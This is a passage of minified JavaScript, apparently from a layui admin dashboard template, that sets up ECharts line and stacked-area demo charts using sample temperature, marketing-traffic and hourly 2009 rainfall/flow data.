°C"}}],series:[{name:"最高气温",type:"line",data:[11,11,15,13,12,13,10],markPoint:{data:[{type:"max",name:"最大值"},{type:"min",name:"最小值"}]},markLine:{data:[{type:"average",name:"平均值"}]}},{name:"最低气温",type:"line",data:[1,-2,2,5,3,2,0],markPoint:{data:[{name:"周最低",value:-2,xAxis:1,yAxis:-1.5}]},markLine:{data:[{type:"average",name:"平均值"}]}}]}],n=e("#LAY-index-normline").children("div"),l=function(e){t[e]=a.init(n[e],layui.echartsTheme),t[e].setOption(i[e]),window.onresize=t[e].resize};if(n[0]){l(0);var r=[],o=[{tooltip:{trigger:"axis"},legend:{data:["邮件营销","联盟广告","视频广告","直接访问","搜索引擎"]},calculable:!0,xAxis:[{type:"category",boundaryGap:!1,data:["周一","周二","周三","周四","周五","周六","周日"]}],yAxis:[{type:"value"}],series:[{name:"邮件营销",type:"line",stack:"总量",data:[120,132,101,134,90,230,210]},{name:"联盟广告",type:"line",stack:"总量",data:[220,182,191,234,290,330,310]},{name:"视频广告",type:"line",stack:"总量",data:[150,232,201,154,190,330,410]},{name:"直接访问",type:"line",stack:"总量",data:[320,332,301,334,390,330,320]},{name:"搜索引擎",type:"line",stack:"总量",data:[820,932,901,934,1290,1330,1320]}]}],m=e("#LAY-index-heapline").children("div"),s=function(e){r[e]=a.init(m[e],layui.echartsTheme),r[e].setOption(o[e]),window.onresize=r[e].resize};if(m[0]){s(0);var y=[],d=[{title:{text:"双数值轴折线",subtext:"纯属虚构"},tooltip:{trigger:"axis",axisPointer:{show:!0,type:"cross",lineStyle:{type:"dashed",width:1}},formatter:function(e){return e.seriesName+" : [ "+e.value[0]+", "+e.value[1]+" ]"}},legend:{data:["数据1","数据2"]},calculable:!0,xAxis:[{type:"value"}],yAxis:[{type:"value",axisLine:{lineStyle:{color:"#dc143c"}}}],series:[{name:"数据1",type:"line",data:[[1.5,10],[5,7],[8,8],[12,6],[11,12],[16,9],[14,6],[17,4],[19,9]],markPoint:{data:[{type:"max",name:"最大值",symbol:"emptyCircle",itemStyle:{normal:{color:"#dc143c",label:{position:"top"}}}},{type:"min",name:"最小值",symbol:"emptyCircle",itemStyle:{normal:{color:"#dc143c",label:{position:"bottom"}}}},{type:"max",name:"最大值",valueIndex:0,symbol:"emptyCircle",itemStyle:{normal:{color:"#1e90ff",label:{position:"right"}}}},{type:"min",name:"最小值",valueIndex:0,symbol:"emptyCircle",itemStyle:{normal:{color:"#1e90ff",label:{position:"left"}}}}]},markLine:{data:[{type:"max",name:"最大值",itemStyle:{normal:{color:"#dc143c"}}},{type:"min",name:"最小值",itemStyle:{normal:{color:"#dc143c"}}},{type:"average",name:"平均值",itemStyle:{normal:{color:"#dc143c"}}},{type:"max",name:"最大值",valueIndex:0,itemStyle:{normal:{color:"#1e90ff"}}},{type:"min",name:"最小值",valueIndex:0,itemStyle:{normal:{color:"#1e90ff"}}},{type:"average",name:"平均值",valueIndex:0,itemStyle:{normal:{color:"#1e90ff"}}}]}},{name:"数据2",type:"line",data:[[1,2],[2,3],[4,2],[7,5],[11,2],[18,3]]}]}],c=e("#LAY-index-diffline").children("div"),p=function(e){y[e]=a.init(c[e],layui.echartsTheme),y[e].setOption(d[e]),window.onresize=y[e].resize};if(c[0]){p(0);var u=[],x=[{tooltip:{trigger:"axis"},legend:{data:["邮件营销","联盟广告","视频广告","直接访问","搜索引擎"]},calculable:!0,xAxis:[{type:"category",boundaryGap:!1,data:["周一","周二","周三","周四","周五","周六","周日"]}],yAxis:[{type:"value"}],series:[{name:"邮件营销",type:"line",stack:"总量",itemStyle:{normal:{areaStyle:{type:"default"}}},data:[120,132,101,134,90,230,210]},{name:"联盟广告",type:"line",stack:"总量",itemStyle:{normal:{areaStyle:{type:"default"}}},data:[220,182,191,234,290,330,310]},{name:"视频广告",type:"line",stack:"总量",itemStyle:{normal:{areaStyle:{type:"default"}}},data:[150,232,201,154,190,330,410]},{name:"直接访问",type:"line",stack:"总量",itemStyle:{normal:{areaStyle:{type:"default"}}},data:[320,332,301,334,390,330,320]},{name:"搜索引擎",type:"line",stack:"总量",itemStyle:{normal:{areaStyle:{type:"default"}}},data:[820,932,901,934,1290,1330,1320]}]}],v=e("#LAY-index-heaparea").children("div"),b=function(e){u[e]=a.init(v[e],layui.echartsTheme),u[e].setOption(x[e]),window.onresize=u[e].resize};if(v[0]){b(0);var h=[],f=[{title:{text:"雨量流量关系图",x:"center"},tooltip:{trigger:"axis",formatter:function(e){return e[0].name+"
"+e[0].seriesName+" : "+e[0].value+" (m^3/s)
"+e[1].seriesName+" : "+-e[1].value+" (mm)"}},legend:{data:["流量","降雨量"],x:"left"},dataZoom:{show:!0,realtime:!0,start:0,end:100},xAxis:[{type:"category",boundaryGap:!1,axisLine:{onZero:!1},data:["2009/6/12 2:00","2009/6/12 3:00","2009/6/12 4:00","2009/6/12 5:00","2009/6/12 6:00","2009/6/12 7:00","2009/6/12 8:00","2009/6/12 9:00","2009/6/12 10:00","2009/6/12 11:00","2009/6/12 12:00","2009/6/12 13:00","2009/6/12 14:00","2009/6/12 15:00","2009/6/12 16:00","2009/6/12 17:00","2009/6/12 18:00","2009/6/12 19:00","2009/6/12 20:00","2009/6/12 21:00","2009/6/12 22:00","2009/6/12 23:00","2009/6/13 0:00","2009/6/13 1:00","2009/6/13 2:00","2009/6/13 3:00","2009/6/13 4:00","2009/6/13 5:00","2009/6/13 6:00","2009/6/13 7:00","2009/6/13 8:00","2009/6/13 9:00","2009/6/13 10:00","2009/6/13 11:00","2009/6/13 12:00","2009/6/13 13:00","2009/6/13 14:00","2009/6/13 15:00","2009/6/13 16:00","2009/6/13 17:00","2009/6/13 18:00","2009/6/13 19:00","2009/6/13 20:00","2009/6/13 21:00","2009/6/13 22:00","2009/6/13 23:00","2009/6/14 0:00","2009/6/14 1:00","2009/6/14 2:00","2009/6/14 3:00","2009/6/14 4:00","2009/6/14 5:00","2009/6/14 6:00","2009/6/14 7:00","2009/6/14 8:00","2009/6/14 9:00","2009/6/14 10:00","2009/6/14 11:00","2009/6/14 12:00","2009/6/14 13:00","2009/6/14 14:00","2009/6/14 15:00","2009/6/14 16:00","2009/6/14 17:00","2009/6/14 18:00","2009/6/14 19:00","2009/6/14 20:00","2009/6/14 21:00","2009/6/14 22:00","2009/6/14 23:00","2009/6/15 0:00","2009/6/15 1:00","2009/6/15 2:00","2009/6/15 3:00","2009/6/15 4:00","2009/6/15 5:00","2009/6/15 6:00","2009/6/15 7:00","2009/6/15 8:00","2009/6/15 9:00","2009/6/15 10:00","2009/6/15 11:00","2009/6/15 12:00","2009/6/15 13:00","2009/6/15 14:00","2009/6/15 15:00","2009/6/15 16:00","2009/6/15 17:00","2009/6/15 18:00","2009/6/15 19:00","2009/6/15 20:00","2009/6/15 21:00","2009/6/15 22:00","2009/6/15 23:00","2009/6/15 0:00","2009/6/16 1:00","2009/6/16 2:00","2009/6/16 3:00","2009/6/16 4:00","2009/6/16 5:00","2009/6/16 6:00","2009/6/16 7:00","2009/6/16 8:00","2009/6/16 9:00","2009/6/16 10:00","2009/6/16 11:00","2009/6/16 12:00","2009/6/16 13:00","2009/6/16 14:00","2009/6/16 15:00","2009/6/16 16:00","2009/6/16 17:00","2009/6/16 18:00","2009/6/16 19:00","2009/6/16 20:00","2009/6/16 21:00","2009/6/16 22:00","2009/6/16 23:00","2009/6/15 0:00","2009/6/17 1:00","2009/6/17 2:00","2009/6/17 3:00","2009/6/17 4:00","2009/6/17 5:00","2009/6/17 6:00","2009/6/17 7:00","2009/6/17 8:00","2009/6/17 9:00","2009/6/17 10:00","2009/6/17 11:00","2009/6/17 12:00","2009/6/17 13:00","2009/6/17 14:00","2009/6/17 15:00","2009/6/17 16:00","2009/6/17 17:00","2009/6/17 18:00","2009/6/17 19:00","2009/6/17 20:00","2009/6/17 21:00","2009/6/17 22:00","2009/6/17 23:00","2009/6/18 0:00","2009/6/18 1:00","2009/6/18 2:00","2009/6/18 3:00","2009/6/18 4:00","2009/6/18 5:00","2009/6/18 6:00","2009/6/18 7:00","2009/6/18 8:00","2009/6/18 9:00","2009/6/18 10:00","2009/6/18 11:00","2009/6/18 12:00","2009/6/18 13:00","2009/6/18 14:00","2009/6/18 15:00","2009/6/18 16:00","2009/6/18 17:00","2009/6/18 18:00","2009/6/18 19:00","2009/6/18 20:00","2009/6/18 21:00","2009/6/18 22:00","2009/6/18 23:00","2009/6/15 0:00","2009/6/19 1:00","2009/6/19 2:00","2009/6/19 3:00","2009/6/19 4:00","2009/6/19 5:00","2009/6/19 6:00","2009/6/19 7:00","2009/6/19 8:00","2009/6/19 9:00","2009/6/19 10:00","2009/6/19 11:00","2009/6/19 12:00","2009/6/19 13:00","2009/6/19 14:00","2009/6/19 15:00","2009/6/19 16:00","2009/6/19 17:00","2009/6/19 18:00","2009/6/19 19:00","2009/6/19 20:00","2009/6/19 21:00","2009/6/19 22:00","2009/6/19 23:00","2009/6/20 0:00","2009/6/20 1:00","2009/6/20 2:00","2009/6/20 3:00","2009/6/20 4:00","2009/6/20 5:00","2009/6/20 6:00","2009/6/20 7:00","2009/6/20 8:00","2009/6/20 9:00","2009/6/20 10:00","2009/6/20 11:00","2009/6/20 12:00","2009/6/20 13:00","2009/6/20 14:00","2009/6/20 15:00","2009/6/20 16:00","2009/6/20 17:00","2009/6/20 18:00","2009/6/20 19:00","2009/6/20 20:00","2009/6/20 21:00","2009/6/20 22:00","2009/6/20 23:00","2009/6/21 0:00","2009/6/21 1:00","2009/6/21 2:00","2009/6/21 3:00","2009/6/21 4:00","2009/6/21 5:00","2009/6/21 6:00","2009/6/21 7:00","2009/6/21 8:00","2009/6/21 9:00","2009/6/21 10:00","2009/6/21 11:00","2009/6/21 12:00","2009/6/21 13:00","2009/6/21 14:00","2009/6/21 15:00","2009/6/21 16:00","2009/6/21 17:00","2009/6/21 18:00","2009/6/21 19:00","2009/6/21 20:00","2009/6/21 21:00","2009/6/21 22:00","2009/6/21 23:00","2009/6/22 0:00","2009/6/22 1:00","2009/6/22 2:00","2009/6/22 3:00","2009/6/22 4:00","2009/6/22 5:00","2009/6/22 6:00","2009/6/22 7:00","2009/6/22 8:00","2009/6/22 9:00","2009/6/22 10:00","2009/6/22 11:00","2009/6/22 12:00","2009/6/22 13:00","2009/6/22 14:00","2009/6/22 15:00","2009/6/22 16:00","2009/6/22 17:00","2009/6/22 18:00","2009/6/22 19:00","2009/6/22 20:00","2009/6/22 21:00","2009/6/22 22:00","2009/6/22 23:00","2009/6/23 0:00","2009/6/23 1:00","2009/6/23 2:00","2009/6/23 3:00","2009/6/23 4:00","2009/6/23 5:00","2009/6/23 6:00","2009/6/23 7:00","2009/6/23 8:00","2009/6/23 9:00","2009/6/23 10:00","2009/6/23 11:00","2009/6/23 12:00","2009/6/23 13:00","2009/6/23 14:00","2009/6/23 15:00","2009/6/23 16:00","2009/6/23 17:00","2009/6/23 18:00","2009/6/23 19:00","2009/6/23 20:00","2009/6/23 21:00","2009/6/23 22:00","2009/6/23 23:00","2009/6/24 0:00","2009/6/24 1:00","2009/6/24 2:00","2009/6/24 3:00","2009/6/24 4:00","2009/6/24 5:00","2009/6/24 6:00","2009/6/24 7:00","2009/6/24 8:00","2009/6/24 9:00","2009/6/24 10:00","2009/6/24 11:00","2009/6/24 12:00","2009/6/24 13:00","2009/6/24 14:00","2009/6/24 15:00","2009/6/24 16:00","2009/6/24 17:00","2009/6/24 18:00","2009/6/24 19:00","2009/6/24 20:00","2009/6/24 21:00","2009/6/24 22:00","2009/6/24 23:00","2009/6/25 0:00","2009/6/25 1:00","2009/6/25 2:00","2009/6/25 3:00","2009/6/25 4:00","2009/6/25 5:00","2009/6/25 6:00","2009/6/25 7:00","2009/6/25 8:00","2009/6/25 9:00","2009/6/25 10:00","2009/6/25 11:00","2009/6/25 12:00","2009/6/25 13:00","2009/6/25 14:00","2009/6/25 15:00","2009/6/25 16:00","2009/6/25 17:00","2009/6/25 18:00","2009/6/25 19:00","2009/6/25 20:00","2009/6/25 21:00","2009/6/25 22:00","2009/6/25 23:00","2009/6/26 0:00","2009/6/26 1:00","2009/6/26 2:00","2009/6/26 3:00","2009/6/26 4:00","2009/6/26 5:00","2009/6/26 6:00","2009/6/26 7:00","2009/6/26 8:00","2009/6/26 9:00","2009/6/26 10:00","2009/6/26 11:00","2009/6/26 12:00","2009/6/26 13:00","2009/6/26 14:00","2009/6/26 15:00","2009/6/26 16:00","2009/6/26 17:00","2009/6/26 18:00","2009/6/26 19:00","2009/6/26 20:00","2009/6/26 21:00","2009/6/26 22:00","2009/6/26 23:00","2009/6/27 0:00","2009/6/27 1:00","2009/6/27 2:00","2009/6/27 3:00","2009/6/27 4:00","2009/6/27 5:00","2009/6/27 6:00","2009/6/27 7:00","2009/6/27 8:00","2009/6/27 9:00","2009/6/27 10:00","2009/6/27 11:00","2009/6/27 12:00","2009/6/27 13:00","2009/6/27 14:00","2009/6/27 15:00","2009/6/27 16:00","2009/6/27 17:00","2009/6/27 18:00","2009/6/27 19:00","2009/6/27 20:00","2009/6/27 21:00","2009/6/27 22:00","2009/6/27 23:00","2009/6/28 0:00","2009/6/28 1:00","2009/6/28 2:00","2009/6/28 3:00","2009/6/28 4:00","2009/6/28 5:00","2009/6/28 6:00","2009/6/28 7:00","2009/6/28 8:00","2009/6/28 9:00","2009/6/28 10:00","2009/6/28 11:00","2009/6/28 12:00","2009/6/28 13:00","2009/6/28 14:00","2009/6/28 15:00","2009/6/28 16:00","2009/6/28 17:00","2009/6/28 18:00","2009/6/28 19:00","2009/6/28 20:00","2009/6/28 21:00","2009/6/28 22:00","2009/6/28 23:00","2009/6/29 0:00","2009/6/29 1:00","2009/6/29 2:00","2009/6/29 3:00","2009/6/29 4:00","2009/6/29 5:00","2009/6/29 6:00","2009/6/29 7:00","2009/6/29 8:00","2009/6/29 9:00","2009/6/29 10:00","2009/6/29 11:00","2009/6/29 12:00","2009/6/29 13:00","2009/6/29 14:00","2009/6/29 15:00","2009/6/29 16:00","2009/6/29 17:00","2009/6/29 18:00","2009/6/29 19:00","2009/6/29 20:00","2009/6/29 21:00","2009/6/29 22:00","2009/6/29 23:00","2009/6/30 0:00","2009/6/30 1:00","2009/6/30 2:00","2009/6/30 3:00","2009/6/30 4:00","2009/6/30 5:00","2009/6/30 6:00","2009/6/30 7:00","2009/6/30 8:00","2009/6/30 9:00","2009/6/30 10:00","2009/6/30 11:00","2009/6/30 12:00","2009/6/30 13:00","2009/6/30 14:00","2009/6/30 15:00","2009/6/30 16:00","2009/6/30 17:00","2009/6/30 18:00","2009/6/30 19:00","2009/6/30 20:00","2009/6/30 21:00","2009/6/30 22:00","2009/6/30 23:00","2009/7/1 0:00","2009/7/1 1:00","2009/7/1 2:00","2009/7/1 3:00","2009/7/1 4:00","2009/7/1 5:00","2009/7/1 6:00","2009/7/1 7:00","2009/7/1 8:00","2009/7/1 9:00","2009/7/1 10:00","2009/7/1 11:00","2009/7/1 12:00","2009/7/1 13:00","2009/7/1 14:00","2009/7/1 15:00","2009/7/1 16:00","2009/7/1 17:00","2009/7/1 18:00","2009/7/1 19:00","2009/7/1 20:00","2009/7/1 21:00","2009/7/1 22:00","2009/7/1 23:00","2009/7/2 0:00","2009/7/2 1:00","2009/7/2 2:00","2009/7/2 3:00","2009/7/2 4:00","2009/7/2 5:00","2009/7/2 6:00","2009/7/2 7:00","2009/7/2 8:00","2009/7/2 9:00","2009/7/2 10:00","2009/7/2 11:00","2009/7/2 12:00","2009/7/2 13:00","2009/7/2 14:00","2009/7/2 15:00","2009/7/2 16:00","2009/7/2 17:00","2009/7/2 18:00","2009/7/2 19:00","2009/7/2 20:00","2009/7/2 21:00","2009/7/2 22:00","2009/7/2 23:00","2009/7/3 0:00","2009/7/3 1:00","2009/7/3 2:00","2009/7/3 3:00","2009/7/3 4:00","2009/7/3 5:00","2009/7/3 6:00","2009/7/3 7:00","2009/7/3 8:00","2009/7/3 9:00","2009/7/3 10:00","2009/7/3 11:00","2009/7/3 12:00","2009/7/3 13:00","2009/7/3 14:00","2009/7/3 15:00","2009/7/3 16:00","2009/7/3 17:00","2009/7/3 18:00","2009/7/3 19:00","2009/7/3 20:00","2009/7/3 21:00","2009/7/3 22:00","2009/7/3 23:00","2009/7/4 0:00","2009/7/4 1:00","2009/7/4 2:00","2009/7/4 3:00","2009/7/4 4:00","2009/7/4 5:00","2009/7/4 6:00","2009/7/4 7:00","2009/7/4 8:00","2009/7/4 9:00","2009/7/4 10:00","2009/7/4 11:00","2009/7/4 12:00","2009/7/4 13:00","2009/7/4 14:00","2009/7/4 15:00","2009/7/4 16:00","2009/7/4 17:00","2009/7/4 18:00","2009/7/4 19:00","2009/7/4 20:00","2009/7/4 21:00","2009/7/4 22:00","2009/7/4 23:00","2009/7/5 0:00","2009/7/5 1:00","2009/7/5 2:00","2009/7/5 3:00","2009/7/5 4:00","2009/7/5 5:00","2009/7/5 6:00","2009/7/5 7:00","2009/7/5 8:00","2009/7/5 9:00","2009/7/5 10:00","2009/7/5 11:00","2009/7/5 12:00","2009/7/5 13:00","2009/7/5 14:00","2009/7/5 15:00","2009/7/5 16:00","2009/7/5 17:00","2009/7/5 18:00","2009/7/5 19:00","2009/7/5 20:00","2009/7/5 21:00","2009/7/5 22:00","2009/7/5 23:00","2009/7/6 0:00","2009/7/6 1:00","2009/7/6 2:00","2009/7/6 3:00","2009/7/6 4:00","2009/7/6 5:00","2009/7/6 6:00","2009/7/6 7:00","2009/7/6 8:00","2009/7/6 9:00","2009/7/6 10:00","2009/7/6 11:00","2009/7/6 12:00","2009/7/6 13:00","2009/7/6 14:00","2009/7/6 15:00","2009/7/6 16:00","2009/7/6 17:00","2009/7/6 18:00","2009/7/6 19:00","2009/7/6 20:00","2009/7/6 21:00","2009/7/6 22:00","2009/7/6 23:00","2009/7/7 0:00","2009/7/7 1:00","2009/7/7 2:00","2009/7/7 3:00","2009/7/7 4:00","2009/7/7 5:00","2009/7/7 6:00","2009/7/7 7:00","2009/7/7 8:00","2009/7/7 9:00","2009/7/7 10:00","2009/7/7 11:00","2009/7/7 12:00","2009/7/7 13:00","2009/7/7 14:00","2009/7/7 15:00","2009/7/7 16:00","2009/7/7 17:00","2009/7/7 18:00","2009/7/7 19:00","2009/7/7 20:00","2009/7/7 21:00","2009/7/7 22:00","2009/7/7 23:00","2009/7/8 0:00","2009/7/8 1:00","2009/7/8 2:00","2009/7/8 3:00","2009/7/8 4:00","2009/7/8 5:00","2009/7/8 6:00","2009/7/8 7:00","2009/7/8 8:00","2009/7/8 9:00","2009/7/8 10:00","2009/7/8 11:00","2009/7/8 12:00","2009/7/8 13:00","2009/7/8 14:00","2009/7/8 15:00","2009/7/8 16:00","2009/7/8 17:00","2009/7/8 18:00","2009/7/8 19:00","2009/7/8 20:00","2009/7/8 21:00","2009/7/8 22:00","2009/7/8 23:00","2009/7/9 0:00","2009/7/9 1:00","2009/7/9 2:00","2009/7/9 3:00","2009/7/9 4:00","2009/7/9 5:00","2009/7/9 6:00","2009/7/9 7:00","2009/7/9 8:00","2009/7/9 9:00","2009/7/9 10:00","2009/7/9 11:00","2009/7/9 12:00","2009/7/9 13:00","2009/7/9 14:00","2009/7/9 15:00","2009/7/9 16:00","2009/7/9 17:00","2009/7/9 18:00","2009/7/9 19:00","2009/7/9 20:00","2009/7/9 21:00","2009/7/9 22:00","2009/7/9 23:00","2009/7/10 0:00","2009/7/10 1:00","2009/7/10 2:00","2009/7/10 3:00","2009/7/10 4:00","2009/7/10 5:00","2009/7/10 6:00","2009/7/10 7:00","2009/7/10 8:00","2009/7/10 9:00","2009/7/10 10:00","2009/7/10 11:00","2009/7/10 12:00","2009/7/10 13:00","2009/7/10 14:00","2009/7/10 15:00","2009/7/10 16:00","2009/7/10 17:00","2009/7/10 18:00","2009/7/10 19:00","2009/7/10 20:00","2009/7/10 21:00","2009/7/10 22:00","2009/7/10 23:00","2009/7/11 0:00","2009/7/11 1:00","2009/7/11 2:00","2009/7/11 3:00","2009/7/11 4:00","2009/7/11 5:00","2009/7/11 6:00","2009/7/11 7:00","2009/7/11 8:00","2009/7/11 9:00","2009/7/11 10:00","2009/7/11 11:00","2009/7/11 12:00","2009/7/11 13:00","2009/7/11 14:00","2009/7/11 15:00","2009/7/11 16:00","2009/7/11 17:00","2009/7/11 18:00","2009/7/11 19:00","2009/7/11 20:00","2009/7/11 21:00","2009/7/11 22:00","2009/7/11 23:00","2009/7/12 0:00","2009/7/12 1:00","2009/7/12 2:00","2009/7/12 3:00","2009/7/12 4:00","2009/7/12 5:00","2009/7/12 6:00","2009/7/12 7:00","2009/7/12 8:00","2009/7/12 9:00","2009/7/12 10:00","2009/7/12 11:00","2009/7/12 12:00","2009/7/12 13:00","2009/7/12 14:00","2009/7/12 15:00","2009/7/12 16:00","2009/7/12 17:00","2009/7/12 18:00","2009/7/12 19:00","2009/7/12 20:00","2009/7/12 21:00","2009/7/12 22:00","2009/7/12 23:00","2009/7/13 0:00","2009/7/13 1:00","2009/7/13 2:00","2009/7/13 3:00","2009/7/13 4:00","2009/7/13 5:00","2009/7/13 6:00","2009/7/13 7:00","2009/7/13 8:00","2009/7/13 9:00","2009/7/13 10:00","2009/7/13 11:00","2009/7/13 12:00","2009/7/13 13:00","2009/7/13 14:00","2009/7/13 15:00","2009/7/13 16:00","2009/7/13 17:00","2009/7/13 18:00","2009/7/13 19:00","2009/7/13 20:00","2009/7/13 21:00","2009/7/13 22:00","2009/7/13 23:00","2009/7/14 0:00","2009/7/14 1:00","2009/7/14 2:00","2009/7/14 3:00","2009/7/14 4:00","2009/7/14 5:00","2009/7/14 6:00","2009/7/14 7:00","2009/7/14 8:00","2009/7/14 9:00","2009/7/14 10:00","2009/7/14 11:00","2009/7/14 12:00","2009/7/14 13:00","2009/7/14 14:00","2009/7/14 15:00","2009/7/14 16:00","2009/7/14 17:00","2009/7/14 18:00","2009/7/14 19:00","2009/7/14 20:00","2009/7/14 21:00","2009/7/14 22:00","2009/7/14 23:00","2009/7/15 0:00","2009/7/15 1:00","2009/7/15 2:00","2009/7/15 3:00","2009/7/15 4:00","2009/7/15 5:00","2009/7/15 6:00","2009/7/15 7:00","2009/7/15 8:00","2009/7/15 9:00","2009/7/15 10:00","2009/7/15 11:00","2009/7/15 12:00","2009/7/15 13:00","2009/7/15 14:00","2009/7/15 15:00","2009/7/15 16:00","2009/7/15 17:00","2009/7/15 18:00","2009/7/15 19:00","2009/7/15 20:00","2009/7/15 21:00","2009/7/15 22:00","2009/7/15 23:00","2009/7/16 0:00","2009/7/16 1:00","2009/7/16 2:00","2009/7/16 3:00","2009/7/16 4:00","2009/7/16 5:00","2009/7/16 6:00","2009/7/16 7:00","2009/7/16 8:00","2009/7/16 9:00","2009/7/16 10:00","2009/7/16 11:00","2009/7/16 12:00","2009/7/16 13:00","2009/7/16 14:00","2009/7/16 15:00","2009/7/16 16:00","2009/7/16 17:00","2009/7/16 18:00","2009/7/16 19:00","2009/7/16 20:00","2009/7/16 21:00","2009/7/16 22:00","2009/7/16 23:00","2009/7/17 0:00","2009/7/17 1:00","2009/7/17 2:00","2009/7/17 3:00","2009/7/17 4:00","2009/7/17 5:00","2009/7/17 6:00","2009/7/17 7:00","2009/7/17 8:00","2009/7/17 9:00","2009/7/17 10:00","2009/7/17 11:00","2009/7/17 12:00","2009/7/17 13:00","2009/7/17 14:00","2009/7/17 15:00","2009/7/17 16:00","2009/7/17 17:00","2009/7/17 18:00","2009/7/17 19:00","2009/7/17 20:00","2009/7/17 21:00","2009/7/17 22:00","2009/7/17 23:00","2009/7/18 0:00","2009/7/18 1:00","2009/7/18 2:00","2009/7/18 3:00","2009/7/18 4:00","2009/7/18 5:00","2009/7/18 6:00","2009/7/18 7:00","2009/7/18 8:00","2009/7/18 9:00","2009/7/18 10:00","2009/7/18 11:00","2009/7/18 12:00","2009/7/18 13:00","2009/7/18 14:00","2009/7/18 15:00","2009/7/18 16:00","2009/7/18 17:00","2009/7/18 18:00","2009/7/18 19:00","2009/7/18 20:00","2009/7/18 21:00","2009/7/18 22:00","2009/7/18 23:00","2009/7/19 0:00","2009/7/19 1:00","2009/7/19 2:00","2009/7/19 3:00","2009/7/19 4:00","2009/7/19 5:00","2009/7/19 6:00","2009/7/19 7:00","2009/7/19 8:00","2009/7/19 9:00","2009/7/19 10:00","2009/7/19 11:00","2009/7/19 12:00","2009/7/19 13:00","2009/7/19 14:00","2009/7/19 15:00","2009/7/19 16:00","2009/7/19 17:00","2009/7/19 18:00","2009/7/19 19:00","2009/7/19 20:00","2009/7/19 21:00","2009/7/19 22:00","2009/7/19 23:00","2009/7/20 0:00","2009/7/20 1:00","2009/7/20 2:00","2009/7/20 3:00","2009/7/20 4:00","2009/7/20 5:00","2009/7/20 6:00","2009/7/20 7:00","2009/7/20 8:00","2009/7/20 9:00","2009/7/20 10:00","2009/7/20 11:00","2009/7/20 12:00","2009/7/20 13:00","2009/7/20 14:00","2009/7/20 15:00","2009/7/20 16:00","2009/7/20 17:00","2009/7/20 18:00","2009/7/20 19:00","2009/7/20 20:00","2009/7/20 21:00","2009/7/20 22:00","2009/7/20 23:00","2009/7/21 0:00","2009/7/21 1:00","2009/7/21 2:00","2009/7/21 3:00","2009/7/21 4:00","2009/7/21 5:00","2009/7/21 6:00","2009/7/21 7:00","2009/7/21 8:00","2009/7/21 9:00","2009/7/21 10:00","2009/7/21 11:00","2009/7/21 12:00","2009/7/21 13:00","2009/7/21 14:00","2009/7/21 15:00","2009/7/21 16:00","2009/7/21 17:00","2009/7/21 18:00","2009/7/21 19:00","2009/7/21 20:00","2009/7/21 21:00","2009/7/21 22:00","2009/7/21 23:00","2009/7/22 0:00","2009/7/22 1:00","2009/7/22 2:00","2009/7/22 3:00","2009/7/22 4:00","2009/7/22 5:00","2009/7/22 6:00","2009/7/22 7:00","2009/7/22 8:00","2009/7/22 9:00","2009/7/22 10:00","2009/7/22 11:00","2009/7/22 12:00","2009/7/22 13:00","2009/7/22 14:00","2009/7/22 15:00","2009/7/22 16:00","2009/7/22 17:00","2009/7/22 18:00","2009/7/22 19:00","2009/7/22 20:00","2009/7/22 21:00","2009/7/22 22:00","2009/7/22 23:00","2009/7/23 0:00","2009/7/23 1:00","2009/7/23 2:00","2009/7/23 3:00","2009/7/23 4:00","2009/7/23 5:00","2009/7/23 6:00","2009/7/23 7:00","2009/7/23 8:00","2009/7/23 9:00","2009/7/23 10:00","2009/7/23 11:00","2009/7/23 12:00","2009/7/23 13:00","2009/7/23 14:00","2009/7/23 15:00","2009/7/23 16:00","2009/7/23 17:00","2009/7/23 18:00","2009/7/23 19:00","2009/7/23 20:00","2009/7/23 21:00","2009/7/23 22:00","2009/7/23 23:00","2009/7/24 0:00","2009/7/24 1:00","2009/7/24 2:00","2009/7/24 3:00","2009/7/24 4:00","2009/7/24 5:00","2009/7/24 6:00","2009/7/24 7:00","2009/7/24 8:00","2009/7/24 9:00","2009/7/24 10:00","2009/7/24 11:00","2009/7/24 12:00","2009/7/24 13:00","2009/7/24 14:00","2009/7/24 15:00","2009/7/24 16:00","2009/7/24 17:00","2009/7/24 18:00","2009/7/24 19:00","2009/7/24 20:00","2009/7/24 21:00","2009/7/24 22:00","2009/7/24 23:00","2009/7/25 0:00","2009/7/25 1:00","2009/7/25 2:00","2009/7/25 3:00","2009/7/25 4:00","2009/7/25 5:00","2009/7/25 6:00","2009/7/25 7:00","2009/7/25 8:00","2009/7/25 9:00","2009/7/25 10:00","2009/7/25 11:00","2009/7/25 12:00","2009/7/25 13:00","2009/7/25 14:00","2009/7/25 15:00","2009/7/25 16:00","2009/7/25 17:00","2009/7/25 18:00","2009/7/25 19:00","2009/7/25 20:00","2009/7/25 21:00","2009/7/25 22:00","2009/7/25 23:00","2009/7/26 0:00","2009/7/26 1:00","2009/7/26 2:00","2009/7/26 3:00","2009/7/26 4:00","2009/7/26 5:00","2009/7/26 6:00","2009/7/26 7:00","2009/7/26 8:00","2009/7/26 9:00","2009/7/26 10:00","2009/7/26 11:00","2009/7/26 12:00","2009/7/26 13:00","2009/7/26 14:00","2009/7/26 15:00","2009/7/26 16:00","2009/7/26 17:00","2009/7/26 18:00","2009/7/26 19:00","2009/7/26 20:00","2009/7/26 21:00","2009/7/26 22:00","2009/7/26 23:00","2009/7/27 0:00","2009/7/27 1:00","2009/7/27 2:00","2009/7/27 3:00","2009/7/27 4:00","2009/7/27 5:00","2009/7/27 6:00","2009/7/27 7:00","2009/7/27 8:00","2009/7/27 9:00","2009/7/27 10:00","2009/7/27 11:00","2009/7/27 12:00","2009/7/27 13:00","2009/7/27 14:00","2009/7/27 15:00","2009/7/27 16:00","2009/7/27 17:00","2009/7/27 18:00","2009/7/27 19:00","2009/7/27 20:00","2009/7/27 21:00","2009/7/27 22:00","2009/7/27 23:00","2009/7/28 0:00","2009/7/28 1:00","2009/7/28 2:00","2009/7/28 3:00","2009/7/28 4:00","2009/7/28 5:00","2009/7/28 6:00","2009/7/28 7:00","2009/7/28 8:00","2009/7/28 9:00","2009/7/28 10:00","2009/7/28 11:00","2009/7/28 12:00","2009/7/28 13:00","2009/7/28 14:00","2009/7/28 15:00","2009/7/28 16:00","2009/7/28 17:00","2009/7/28 18:00","2009/7/28 19:00","2009/7/28 20:00","2009/7/28 21:00","2009/7/28 22:00","2009/7/28 23:00","2009/7/29 0:00","2009/7/29 1:00","2009/7/29 2:00","2009/7/29 3:00","2009/7/29 4:00","2009/7/29 5:00","2009/7/29 6:00","2009/7/29 7:00","2009/7/29 8:00","2009/7/29 9:00","2009/7/29 10:00","2009/7/29 11:00","2009/7/29 12:00","2009/7/29 13:00","2009/7/29 14:00","2009/7/29 15:00","2009/7/29 16:00","2009/7/29 17:00","2009/7/29 